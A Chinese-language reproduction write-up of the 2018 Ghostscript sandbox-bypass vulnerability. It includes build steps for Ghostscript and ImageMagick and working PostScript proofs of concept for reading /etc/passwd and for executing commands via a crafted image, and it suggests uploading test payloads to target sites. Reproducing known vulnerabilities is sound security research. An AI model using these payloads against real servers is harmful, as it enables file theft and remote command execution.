一、漏洞信息
项目
描述
漏洞名称
GhostScript 沙箱绕过(命令执行)漏洞
漏洞作者
Tavis Ormandy
CVE编号
暂未分配
漏洞描述
攻击者利用此漏洞可以上传恶意构造的图像文件,当目标服务器在对图像进行裁剪、转换等处理时即会执行攻击者指定的命令。
影响范围
<= 9.23(全版本,全平台)
披露时间
2018-08-21
二、复现环境
OS:Ubuntu 14.10
Ghostscript version:9.23(当下最新版本)
Imagemagic version:7.0.8(当下最新版本)
三、环境搭建 3.1 安装Ghostscript 1 2 3 4 5 6 7 8 9 10 11 12 c0ny1@Ubuntu ~$ cd /usr/local c0ny1@Ubuntu /usr/local $ wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs923/ghostscript-9.23.tar.gz c0ny1@Ubuntu /usr/local $ tar zxvf ghostscript-9.23.tar.gz c0ny1@Ubuntu /usr/local $ cd ghostscript-9.23 c0ny1@Ubuntu /usr/local /ghostscript-9.23$ ./configure --prefix=/usr c0ny1@Ubuntu /usr/local /ghostscript-9.23$ mkdir obj c0ny1@Ubuntu /usr/local /ghostscript-9.23$ mkdir bin c0ny1@Ubuntu /usr/local /ghostscript-9.23$ make all c0ny1@Ubuntu /usr/local /ghostscript-9.23$ sudo make install c0ny1@Ubuntu /usr/local /ghostscript-9.23$ gs -v GPL Ghostscript 9.23 (2018-03-21) Copyright (C) 2018 Artifex Software, Inc. All rights reserved.
3.2 安装Imagemagic 1 2 3 4 5 6 7 8 9 10 11 12 13 c0ny1@Ubuntu /usr/local $ wget https://github.com/ImageMagick/ImageMagick/archive/7.0.8-9.tar.gz c0ny1@Ubuntu /usr/local $ tar zxvf 7.0.8-9.tar.gz c0ny1@Ubuntu /usr/local $ cd ImageMagick-7.0.8-9/ c0ny1@Ubuntu /usr/local /ImageMagick-7.0.8-9$ ./configure --prefix=/usr c0ny1@Ubuntu /usr/local /ImageMagick-7.0.8-9$ make c0ny1@Ubuntu /usr/local /ImageMagick-7.0.8-9$ make install c0ny1@Ubuntu /usr/local /ImageMagick-7.0.8-9$ sudo ldconfig /usr/local /lib c0ny1@Ubuntu /usr/local /ImageMagick-7.0.8-9$ convert -version Version: ImageMagick 7.0.8-9 Q16 i686 2018-08-26 https://www.imagemagick.org Copyright: ? 1999-2018 ImageMagick Studio LLC License: https://www.imagemagick.org/script/license.php Features: Cipher DPC HDRI OpenMP Delegates (built-in):
四、漏洞验证 4.1 读文件 读取/etc/passwd文件内容的poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 /FileToSteal (/etc/passwd) def errordict /undefinedfilename { FileToSteal % save the undefined name } put errordict /undefined { (STOLEN: ) print counttomark { ==only } repeat (\n) print FileToSteal } put errordict /invalidfileaccess { pop } put errordict /typecheck { pop } put FileToSteal (w) .tempfile statusdict begin 1 1 .setpagesize end quit
将以上poc保存为poc.ps文件,并执行以下命令。
1 gs -q -sDEVICE=ppmraw -dSAFER poc.ps
4.2命令执行 ubuntu poc:
1 2 3 4 5 6 7 8 %!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%id) currentdevice putdeviceprops
centos poc:
1 2 3 4 5 6 %!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%id) currentdevice putdeviceprops
这里我们是linux是Ubuntu发行版,故选择第一个poc进行测试。将以上poc保存为poc.jpg文件,并执行以下命令,测试对恶意图片文件进行格式转换。
1 /usr/local/bin/convert poc.jpg poc.jpg
注意: 漏洞作者的《More Ghostscript Issues: Should we disable PS coders in policy.xml by default?》 这篇文章里的convert命令不是ghostscript的,而是它的上游应用。可以是imagemagick,也可以是graphicsmagick。经过测试两个软件的convert命令都存在漏洞,我们这里复测的事imagemagick。
五、总结 ghostscript的上游应用有imagemagick,libmagick,graphicsmagick,gimp,python-matplotlib,texlive-core,texmacs,latex2html,latex2rtf等,其中ImageMagick受该漏洞影响最为严重。有相当多的网站,博客,媒体平台和流行的CMS(WordPress,Drupal等)在使用ImageMagick来进行图像处理。 故在日常渗透测试中,可以上传带有dnslog测试的poc,来测试目标网站是否存在该漏洞。
参考文章